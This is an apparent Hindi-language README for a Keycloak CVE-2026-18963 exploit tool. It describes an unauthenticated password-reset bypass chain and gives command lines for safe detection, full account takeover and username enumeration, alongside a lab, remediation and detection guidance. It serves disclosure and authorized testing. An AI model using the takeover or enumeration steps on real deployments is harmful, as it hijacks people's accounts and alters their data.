
Keycloak CVE-2026-18963 के लिए एक्सप्लॉइट जो रीसेट-क्रेडेंशियल बाईपास के माध्यम से बिना प्रमाणीकरण के खाता अधिग्रहण सक्षम करता है। इसमें सुरक्षित पहचान, गैर-विनाशकारी प्रमाण, पूर्ण अधिग्रहण, उपयोगकर्ता नाम गणना, और कमजोर तथा पैच किए गए संस्करणों वाला एक लैब शामिल है।
केवल एक उपयोगकर्ता नाम या ई-मेल पता जानकर, एक अनधिकृत हमलावर किसी भी Keycloak खाते पर एक मनमाना पासवर्ड सेट कर देता है। पासवर्ड-रीसेट ई-मेल वास्तविक पीड़ित को भेजा जाता है और उसकी कभी आवश्यकता नहीं होती — हमलावर कभी मेलबॉक्स नहीं पढ़ता, कभी लिंक पर क्लिक नहीं करता, और उसके पास कोई पूर्व प्रमाण-पत्र या सत्र नहीं होता।
प्रभावित: Keycloak 26.0.0 – 26.7.1. 26.7.2 में ठीक किया गया।
एक ही कमांड। कोई मान्य उपयोगकर्ता नाम आवश्यक नहीं, और कोई दुष्प्रभाव नहीं — यह कोई ई-मेल नहीं भेजता, किसी खाते में नहीं लिखता, और शोषण योग्य चरण से पहले रुक जाता है।```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check
Python 3.9+, केवल मानक लाइब्रेरी। कुछ भी इंस्टॉल करने की आवश्यकता नहीं है।
| निकास | फ़ैसला | अर्थ |
|:---:|---|---|
| `0` | 🔴 **असुरक्षित** | पार्क किया गया ईमेल गेट प्रस्तुत किया गया — यह बग स्वयं है |
| `2` | 🟢 **पैच किया गया** | प्रवाह लॉगिन की ओर मुड़ गया और वहीं रुक गया (फिक्स #51844 मौजूद है) |
| `2` | 🟡 **शमित** | reset-credentials अगम्य है — *पासवर्ड भूल गए* बंद है। **यह पैच नहीं है।** |
| `3` | ⚪ **अनिर्णायक** | अपरिचित प्रतिक्रिया — **इसे पास के रूप में न पढ़ें** |
इसे प्रति रिएल्म चलाएं — *पासवर्ड भूल गए* एक प्रति-रिएल्म सेटिंग है, और `master` मायने रखता है।
विवरण, और चेक को किसी उपयोगकर्ता की आवश्यकता क्यों नहीं है और यह कुछ भी स्पर्श नहीं करता, [§4a](#4a-safe-detection---safe-check--start-here) में दिया गया है।
**क्या आप पहले से जानते हैं कि आप उजागर हैं?** [सुधार](#8-remediation) और [पहचान / थ्रेट हंटिंग](#9-detection) पर जाएं।
### बिना लक्ष्य के इसे आज़माएं
रिपॉजिटरी में एक लैब शामिल है जो एक समान रिएल्म के सामने एक असुरक्षित **26.7.1** और एक पैच किया हुआ **26.7.2** को साथ-साथ बूट करती है, साथ ही एक मेलबॉक्स भी है जिससे यह देखा जा सकता है कि रीसेट ईमेल आता है और खाते पर कब्ज़ा किए जाने के दौरान अपठित रहता है:```bash
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ केवल अधिकृत परीक्षण
यह रिपॉजिटरी डिफेंडरों, घटना प्रतिक्रियाकर्ताओं और अधिकृत पेनेट्रेशन परीक्षकों के लिए मौजूद है। इसे उन सिस्टम्स पर चलाएँ जिनके आप मालिक हैं या जिनके लिए आपके पास लिखित अनुमति है। यहाँ सब कुछ एक स्व-निहित कमजोर लैब (
lab/) के साथ आता है, ताकि बग कैसे काम करता है यह सीखने के लिए किसी बाहरी चीज़ को छूने की आवश्यकता न हो। इसे बिना प्राधिकरण के तीसरे पक्ष के इंफ्रास्ट्रक्चर पर लक्षित करना अधिकांश क्षेत्राधिकारों में अवैध है और यह इस प्रोजेक्ट द्वारा समर्थित नहीं है।
संदर्भ: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · फिक्स keycloak#51844
दो दोष श्रृंखलाबद्ध हैं। अकेले कोई भी शोषण योग्य नहीं है।
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — कोई भी POST जिसमें फॉर्म कुंजी tryAnotherWay हो:```java
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
नोट एक **नंगा बूलियन है जिसमें यह दर्ज नहीं रहता कि उसे किस execution set ने सेट किया**। इसे केवल उस branch में साफ़ किया जाता है जो प्रस्तुत `authenticationExecution` पैरामीटर को संभालती है। उस पैरामीटर को छोड़ दें — जैसा यह PoC पूरे समय करता है — और flag authentication सत्र के जीवन भर सेट बना रहता है।
`processFlow()` — जब flag truthy होता है, सामान्य flow मूल्यांकन को छोड़ दिया जाता है:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
यह एक सबमिट करने योग्य फ़ॉर्म प्रस्तुत करता है जो वर्तमान में स्थगित किसी भी निष्पादन पर लक्षित होता है, बजाय सत्र को "ई-मेल की प्रतीक्षा" पर टिकाए रखने के।
यह कड़ी processResult() case FORK: है — जब रीसेट ई-मेल भेजें सक्रिय होता है तो यह
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> को अंकित करता है और ब्राउज़र को लॉगिन पेज पर फोर्क करता है।
स्थगित निष्पादन बिल्कुल ई-मेल गेट है।
`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }
बिना शर्त। कोई जाँच नहीं करता कि प्रवाह एक वैध एक्शन टोकन द्वारा फिर से शुरू किया गया था,
इसलिए `action()` तक *पहुँचना* मेलबॉक्स नियंत्रण साबित करने के बराबर माना जाता है।
### श्रृंखला```
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
छह HTTP अनुरोध, कोई प्रमाणीकरण नहीं, कोई authenticationExecution पैरामीटर किसी भी
बिंदु पर नहीं।
model.getId() संग्रहीत करता है, और processFlow() इसका पालन करता है केवल तभी जब यह
बराबर होता है CURRENT_AUTHENTICATION_EXECUTION के, अन्यथा इसे हटा देता है। हमले में दोनों
भिन्न होते हैं (choose-user id बनाम e-mail-gate id) — ठीक वही जो पैच पहचानता है, और
ठीक वही संकेत जिस पर --safe-check निर्भर करता है।ResetCredentialEmail.action() अब आवश्यकता रखता है
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))
और अन्यथा INVALID_USER के साथ विफल हो जाता है।6a9e60bb द्वारा, जिसने "Try another way" प्रमाणीकरण-चयनकर्ता स्क्रीन को
रीसेट फ्लो में जोड़ा। इससे पुरानी किसी भी चीज़ में केवल उस कोड पथ का अभाव है। इसमें पुराने
WildFly-आधारित वितरण और RH-SSO 7.x, जो इस बग से प्रभावित नहीं हैं
जबकि वे जीवन-अंत पर हैं और कई अन्य कमजोरियों के लिए संवेदनशील हैं। किसी
लेगेसी बिल्ड पर बने रहना निवारण नहीं है।26.7.2 एकमात्र फिक्स रिलीज़ है
जो कम्युनिटी ट्रेन के लिए प्रकाशित की गई है। अगर कोई डिप्लॉयमेंट 26.0 – 26.6 पर है, तो
उस लाइन पर कोई पैच रिलीज़ नहीं है — फिक्स के लिए माइनर-वर्जन अपग्रेड आवश्यक है, न कि
पॉइंट रिलीज़। 26.4.15 / 26.6.6 टैग विक्रेता बैकपोर्ट हैं और
कम्युनिटी इमेजों के साथ विनिमेय नहीं हैं।पूर्वशर्तें: रिएल्म में फॉरगॉट पासवर्ड सक्षम है और उसका जुड़ा हुआ
रीसेट-क्रेडेंशियल्स फ्लो अंतर्निहित reset-credential-email प्रमाणीकरणकर्ता का उपयोग करता है।
यह रिपो एक भेद्य और एक पैच किया हुआ Keycloak दोनों शामिल करता है, जो समान रिएल्म आयात करते हैं, साथ ही रीसेट मेल कैप्चर करने के लिए Mailpit भी शामिल है — ताकि आप देख सकें कि मेल आता है और अपठित रहता है, जबकि खाते पर कब्ज़ा कर लिया जाता है।```bash cd lab docker compose up -d
| Service | URL | Version |
|---|---|---|
| `kc-vuln` | http://localhost:8080 | 26.7.1 — **असुरक्षित** |
| `kc-patched` | http://localhost:8100 | 26.7.2 — **पैच किया गया नियंत्रण** |
| `kc-mailpit` | http://localhost:8025 | पीड़ित का मेलबॉक्स |
रील्म `poc`, सार्वजनिक क्लाइंट `poc-app`, उपयोगकर्ता `victim` / `OriginalPassw0rd!`, Keycloak एडमिन `admin` / `admin`।
अलग-अलग बिल्ड को `KC_VULN_VERSION` / `KC_PATCHED_VERSION` से पिन करें:```bash
KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln
Between runs, lab/reset-victim.sh restores the victim's password
(KC=http://localhost:8100 lab/reset-victim.sh targets the patched instance).
lab/legit_reset.py Mailpit से action-token लिंक निकालकर और उसे क्लिक करके एक वास्तविक रीसेट करता है। यह §9 में डिटेक्शन कार्य के लिए नियंत्रण नमूना है — इसे और एक्सप्लॉइट को एक ही realm के विरुद्ध चलाएँ, फिर ट्रेस को diff करें।
टियरडाउन: docker compose down -v।
Python 3.9+, केवल मानक लाइब्रेरी — कोई निर्भरता नहीं, किसी भी जंप बॉक्स पर डालने योग्य।``` --base Keycloak base URL (e.g. https://sso.example.com) --realm realm name --client-id any enabled public client with the standard flow --redirect-uri a URI permitted by that client (default http://localhost:9999/callback) --insecure skip TLS verification --verbose log every HTTP request --dump FILE write the response body of a failing step to FILE
`--client-id` मानक प्रवाह के साथ कोई भी सक्षम सार्वजनिक क्लाइंट हो सकता है। अंतर्निहित
`account` क्लाइंट हर realm में मौजूद होता है और विश्वसनीय विकल्प है, लेकिन यह
redirect URI को प्रतिबंधित करता है, इसलिए `--redirect-uri` तब **अनिवार्य रूप से**
`<base>/realms/<realm>/account/` होना चाहिए — डिफ़ॉल्ट अस्वीकार कर दिया जाता है और चरण 1 विफल हो जाता है।
### 4a. सुरक्षित पहचान (`--safe-check`) — यहाँ से शुरू करें
इसे **किसी वैध उपयोगकर्ता नाम की आवश्यकता नहीं** होती और **कोई दुष्प्रभाव नहीं** होता। यह वह प्रोब है जिसे
तब उपयोग करें जब आपको लक्ष्य को परेशान नहीं करना हो।```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--safe-check
इसे उपयोगकर्ता की आवश्यकता क्यों नहीं है, और यह कोई मेल क्यों नहीं भेजता। ResetCredentialEmail.authenticate()
अज्ञात उपयोगकर्ता के लिए भी शाखा बनाता है:```java
if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }
`processResult()` `case FORK:` इसलिए `CURRENT_AUTHENTICATION_EXECUTION` को
ईमेल निष्पादन पर पार्क करता है **भले ही कोई नहीं मिला** — और कोई मेल नहीं भेजा जाता,
क्योंकि मेल करने के लिए कोई नहीं है। प्रोब डिस्क्रिमिनेटर पर रुक जाता है और कभी
गेट पर POST नहीं करता, इसलिए `action()` कभी नहीं चलता: लक्ष्य पर कोई NPE नहीं, कोई `emailVerified`
लेखन नहीं, कोई मेल नहीं, कोई खाता नहीं छुआ गया।
**यह केवल सकारात्मक संकेत पर दावा करता है।** VULNERABLE ⟺ चरण 5 एक फ़ॉर्म लौटाता है
जो अभी भी `login-actions/reset-credentials` के भीतर है, जिसका `execution` भिन्न है
उपयोगकर्ता-चयन निष्पादन से। वही *बग* है: अप्रचलित
`AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED` नोट जो पार्क किए गए ईमेल गेट की सेवा कर रहा है।
दोनों हिस्से मायने रखते हैं — पथ साबित करता है कि हम अभी भी रीसेट प्रवाह में हैं, भिन्न
execution id साबित करती है कि यह ईमेल गेट है और पुनः-रेंडर नहीं।
बाकी कुछ भी चुपचाप पैच किया हुआ **नहीं** कहा जाता। PATCHED को अपना स्वयं का प्रमाण चाहिए
(`login-actions/authenticate` पर फोर्क किया गया *और* पासवर्ड इनपुट मौजूद); शेष सब कुछ
INCONCLUSIVE है और उसे मानव की आवश्यकता है। एक पुराने डिज़ाइन ने "गेट फ़ॉर्म
नहीं" को पैच्ड माना, जो हर कस्टम थीम, त्रुटि पृष्ठ, WAF
ब्लॉक और मध्यवर्ती पृष्ठ को झूठे स्वास्थ्य प्रमाणपत्र में बदल देता है।
### 4b. गैर-विनाशकारी प्रमाण (`--check`)
पूरी श्रृंखला चलाता है लेकिन पासवर्ड अपडेट फ़ॉर्म पर रुक जाता है। बिना एक्शन टोकन के उस फ़ॉर्म
तक पहुँचना निर्णायक है।```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--victim [email protected] --check
दो दुष्प्रभाव अपरिहार्य हैं, क्योंकि वे पासवर्ड फ़ॉर्म के पहले (upstream) घटित होते हैं — इन्हें एंगेजमेंट स्कोप में दर्शाएँ:
action() खाते पर emailVerified = true सेट कर देता है।कोई भी क्रेडेंशियल संशोधित नहीं होता। एक समर्पित परीक्षण खाते का उपयोग करें।
केवल प्रयोगशाला या स्पष्ट रूप से अधिकृत प्रदर्शन हेतु।```bash
python3 cve_2026_18963_poc.py
--base http://localhost:8080 --realm poc --client-id poc-app
--victim victim --new-password 'PoCPassw0rd!1'
निकास `0` असुरक्षित · `2` शोषण योग्य नहीं · `1` पासवर्ड बदल दिया गया लेकिन पुष्टिकरण अनुदान विफल रहा (`--verify-client-id` को Direct Access Grants वाले क्लाइंट पर इंगित करें)।
फ़्लो पूरा करने से पीड़ित के लिए एक **OIDC प्राधिकरण कोड** भी लौटता है, इसलिए अधिग्रहण तुरंत होता है — नए पासवर्ड के साथ दूसरा लॉगिन आवश्यक नहीं है।
### 4d. यूज़रनेम एन्यूमरेशन (`--enum`)
यही दोष एक यूज़रनेम ओरेकल है, और Keycloak सामान्यतः जो अनुमति देता है उससे अधिक मजबूत है। `ResetCredentialEmail.authenticate()` जान-बूझकर वास्तविक और अज्ञात उपयोगकर्ताओं के लिए एक समान *"You should receive an email shortly"* लौटाता है, इसलिए रीसेट फ़ॉर्म स्वयं एन्यूमेरेट करने के लिए उपयोग नहीं किया जा सकता — वह बचाव चरण 4 पर अभी भी कायम है। यह **चरण 6** पर टूट जाता है, जहाँ `action()` उपयोगकर्ता को बिना शर्त डीरेफ़रेंस करता है (`context.getUser().setEmailVerified(true)`)।
| पहचानकर्ता | चरण 6 | निर्णय |
|---|---|---|
| वास्तविक उपयोगकर्ता | `200`, पासवर्ड अपडेट फ़ॉर्म तक पहुँचता है | मान्य |
| अज्ञात उपयोगकर्ता | `400` (NPE त्रुटि पृष्ठ) | अमान्य |```bash
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc --client-id poc-app \
--enum candidates.example.txt
कभी पासवर्ड नहीं बदलता। यदि कोई पहचानकर्ता हल हो जाता है तो 0 से बाहर निकलें, अन्यथा 2 से।
प्रति प्रोब लागत — चलाने से पहले पढ़ें। ओरेकल तक पहुँचने के लिए चरण 4 पूरा करना आवश्यक है, इसलिए वास्तविक खाते के विरुद्ध हर प्रोब उस व्यक्ति को एक वास्तविक पासवर्ड-रीसेट ई-मेल भेजता है और उनके रिकॉर्ड पर emailVerified = true सेट करता है। यह एक शांत जाँच नहीं है: यह खाता धारक को दिखाई देती है और यह उनके डेटा को बदल देती है। 5,000-नामों की वर्डलिस्ट वास्तविक लोगों को 5,000 ई-मेल और 5,000 परिवर्तित खाते हैं।
इसका उपयोग रिपोर्ट के लिए कुछ पहचानकर्ताओं पर यह प्रदर्शित करने के लिए करें कि ओरेकल मौजूद है — न कि किसी निर्देशिका को इकट्ठा करने के लिए। गार्ड जानबूझकर रूढ़िवादी हैं:
--enum-max N N से लंबी सूचियों को अस्वीकार करता है (डिफ़ॉल्ट 25)--enum-delay SEC प्रोब के बीच रुकता है (डिफ़ॉल्ट 2.0)इनमें से किसी को बढ़ाना एक सचेत निर्णय होना चाहिए जो सहभागिता नोट्स में दर्ज किया गया हो।
रिपोर्टिंग कोण: यह एक एंटी-एन्यूमरेशन नियंत्रण को विफल करता है जिसे Keycloak ने जानबूझकर लागू किया था। टेकओवर के साथ-साथ इसे अपने स्वयं के निष्कर्ष के रूप में लिखना उचित है, और यह "हमारे उपयोगकर्ता नाम अनुमान लगाने योग्य नहीं हैं" को एक शमन कारक के रूप में समाप्त कर देता है।
कोई भी गंभीर तैनाती एक कस्टम लॉगिन थीम के साथ आती है, और कस्टम थीम स्टॉक एलिमेंट आईडी (kc-form-login, kc-reset-password-form, kc-select-credential-form, kc-passwd-update-form) का नाम बदल देती हैं या उन्हें हटा देती हैं। एक उपकरण जो उन आईडी पर आधारित होता है, ठीक उन्हीं तैनातियों पर गलत नकारात्मक रिपोर्ट करता है जो सबसे महत्वपूर्ण हैं — यह उपकरण, पुनर्लेखन से पहले, ऐसा ही करता था। जंगल में देखी गई थीम id="login-form" जैसी आईडी का उपयोग करती हैं और एक फॉरगॉट पासवर्ड एंकर के साथ आती हैं जिसका href खाली होता है।
इसलिए यह PoC किसी भी चीज़ पर आधारित नहीं है जिसे थीम नियंत्रित करती है:
action= से लिया जाता है — login-actions/reset-credentials, login-actions/authenticate, login-actions/required-action — और उनके अंदर मौजूद execution क्वेरी पैरामीटर से। वे पथ Keycloak की अपनी LoginActionsService द्वारा उत्पन्न होते हैं, थीम द्वारा नहीं।grep करें: इसमें एक भी kc-* आईडी नहीं है।/realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=… का निर्माण करता है और सीधे उसकी जाँच करता है, tab_id को लॉगिन पृष्ठ द्वारा प्रदर्शित किसी भी फ़ॉर्म से लेता है।यदि कोई लक्ष्य अभी भी INCONCLUSIVE लौटाता है, तो --verbose --dump out.html के साथ चलाएँ और प्रतिक्रिया पढ़ें — उपकरण जानबूझकर अनुमान लगाने से इनकार करता है।
एक क्लाइंट जो PKCE लागू करता है चरण 1 को Missing parameter: code_challenge_method के साथ अस्वीकार कर देता है। इसे INCONCLUSIVE (निकास 3) के रूप में रिपोर्ट किया जाता है, कभी भी पास के रूप में नहीं। जब तक PKCE समर्थन नहीं आता, एक रीम जिसका एकमात्र उपयोग योग्य सार्वजनिक क्लाइंट PKCE अनिवार्य करता है, उसे इस उपकरण से जाँचा नहीं जा सकता — अंतर्निहित account क्लाइंट आज़माएँ, जो सामान्य रूप से इसे लागू नहीं करता।
नीचे हर रन इस रिपो में मौजूद लैब के विरुद्ध है, प्रकाशित कोड का उपयोग करके।
एडवाइज़री पाठ से परे दो निष्कर्ष ध्यान देने योग्य हैं:
ResetCredentialEmail.authenticate() forkWithSuccessMessage पथ लेता है जब user.getEmail() null होता है, जो फिर भी case FORK: के माध्यम से निष्पादन को पार्क करता है। SMTP भेजने की विफलता के लिए भी यही बात लागू होती है — एक टूटा या अनुपस्थित मेल सर्वर कोई शमन नहीं है। यह सीधे AD/LDAP-फेडरेटेड रीम के लिए मायने रखता है, जहाँ खातों में अक्सर कोई मेल विशेषता नहीं होती।MFA कोई शमन नहीं है। डिफ़ॉल्ट reset-credentials फ्लो में कोई OTP चरण नहीं है, और एक बार पार करने के बाद, हमलावर पीड़ित के पंजीकृत कारकों को हटा सकता है।
समाधान: अपग्रेड करें। सामुदायिक बिल्ड के लिए 26.7.2, या आपकी सदस्यता से मेल खाने वाला विक्रेता बैकपोर्ट टैग। नीचे सब कुछ एक अस्थायी उपाय है।
अंतरिम शमन, सर्वोत्तम पहले:
master सहित।जिन रीम का बाउंड रीसेट फ्लो पूरी तरह से कस्टम है और कभी भी reset-credential-email को लागू नहीं करता, वे इस पथ के माध्यम से शोषण योग्य नहीं हैं।
Keycloak कोई "एक्शन टोकन छोड़ा गया" घटना उत्सर्जित नहीं करता, इसलिए पहचान अनुमानात्मक है। दोनों ट्रेस उत्पन्न करने और तुलना करने के लिए शोषण के साथ lab/legit_reset.py चलाएँ।
GET /login-actions/action-token?... (पीड़ित द्वारा मेल पर क्लिक करना) दिखाता है। बायपास में ऐसा कोई GET नहीं होता। इसके बजाय यह login-actions/reset-credentials पर एक POST दिखाता है जिसके बॉडी में tryAnotherWay होता है, उसके बाद उसी पथ पर एक दूसरा POST खाली बॉडी के साथ, फिर पासवर्ड फ़ॉर्म। रीसेट फ्लो के अंदर एक tryAnotherWay POST ऐसा कुछ नहीं है जो स्टॉक UI सामान्य उपयोग में उत्पन्न करता है।SEND_RESET_PASSWORD के बाद UPDATE_PASSWORD कुछ सेकंड के भीतर समान code_id साझा करता है — लैब में उप-सेकंड। मेल पहले से खुला रखने वाला उपयोगकर्ता भी तेज़ दिख सकता है, इसलिए प्रॉक्सी लॉग के साथ पुष्टि करें।emailVerified true पर फ़्लिप हुआ बिना किसी संगत VERIFY_EMAIL घटना के, एक उपयोगी सहायक संकेतक हैं, और एक ऐसा जिसे हमलावर छोड़ने से बच नहीं सकता।यदि इवेंट लॉगिंग या प्रतिधारण बंद था, तो घटनाओं की अनुपस्थिति कुछ भी साबित नहीं करती। यह निष्कर्ष निकालने से पहले प्रतिधारण विंडो की जाँच करें कि कोई तैनाती प्रभावित नहीं हुई थी।
Snizi — github.com/Snizi — [email protected]
MIT लाइसेंस के तहत जारी। मुद्दे और PR स्वागत योग्य हैं — विशेष रूप से PKCE समर्थन और अतिरिक्त वास्तविक-विश्व थीम विशेषताएँ।
| लाइन | प्रभावित संस्करण | कम्युनिटी फिक्स |
|---|
| लेगेसी (WildFly-आधारित Keycloak, ≤ 17) | प्रभावित नहीं | — |
| Quarkus 17 – 25.x | प्रभावित नहीं | — |
| 26.0 | 26.0.0 – 26.0.17 | कोई नहीं |
| 26.1 | 26.1.0 – 26.1.5 | कोई नहीं |
| 26.2 | 26.2.0 – 26.2.16 | कोई नहीं |
| 26.3 | 26.3.0 – 26.3.5 | कोई नहीं |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (विक्रेता बैकपोर्ट टैग) |
| 26.5 | 26.5.0 – 26.5.7 | कोई नहीं |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (विक्रेता बैकपोर्ट टैग) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 |
| Exit | निर्णय | अर्थ |
|---|
0 | असुरक्षित | पार्क किया गया ईमेल गेट सर्व किया गया — यही बग है |
2 | पैच किया गया | फ्लो लॉगिन पर चला गया और वहीं रुका (फिक्स #51844 मौजूद है) |
2 | शमित | रीसेट-क्रेडेंशियल्स अप्राप्य है — पासवर्ड भूल गए बंद है। यह पैच नहीं है। |
3 | अनिर्णायक | अपरिचित प्रतिक्रिया — इसे पास के रूप में न पढ़ें |
| परीक्षण | लक्ष्य | परिणाम |
|---|
--safe-check | 26.7.1 | VULNERABLE, निकास 0 — ई-मेल गेट परोसा गया (execution ≠ choose-user) |
--safe-check | 26.7.2 | PATCHED, निकास 2 — लॉगिन पर फोर्क किया और वहीं रहा |
--safe-check, फॉरगॉट पासवर्ड बंद | 26.7.2 | MITIGATED, निकास 2 — HTTP 400, फ्लो अप्राप्य |
| पूर्ण टेकओवर | 26.7.1 | निकास 0 — पासवर्ड सेट, OIDC कोड जारी, पासवर्ड ग्रांट पुष्टि करता है |
| पूर्ण टेकओवर | 26.7.2 | निकास 2 — चरण 5 पर अवरुद्ध, खाता अछूता |
--check | 26.7.1 | UPDATE_PASSWORD तक पहुँचा; बाद में पासवर्ड अपरिवर्तित सत्यापित |
--enum | 26.7.1 | victim और [email protected] VALID, does-not-exist INVALID |
| टेकओवर के बाद क्रेडेंशियल स्थिति | 26.7.1 | नया पासवर्ड → 200, पुराना पासवर्ड → 400 |
| अवरुद्ध रन के बाद क्रेडेंशियल स्थिति | 26.7.2 | पुराना पासवर्ड → 200, हमलावर पासवर्ड → 400 |
| पीड़ित का मेलबॉक्स | Mailpit | रीसेट मेल वितरित और अपठित; एक्शन-टोकन लिंक कभी नहीं लाया गया |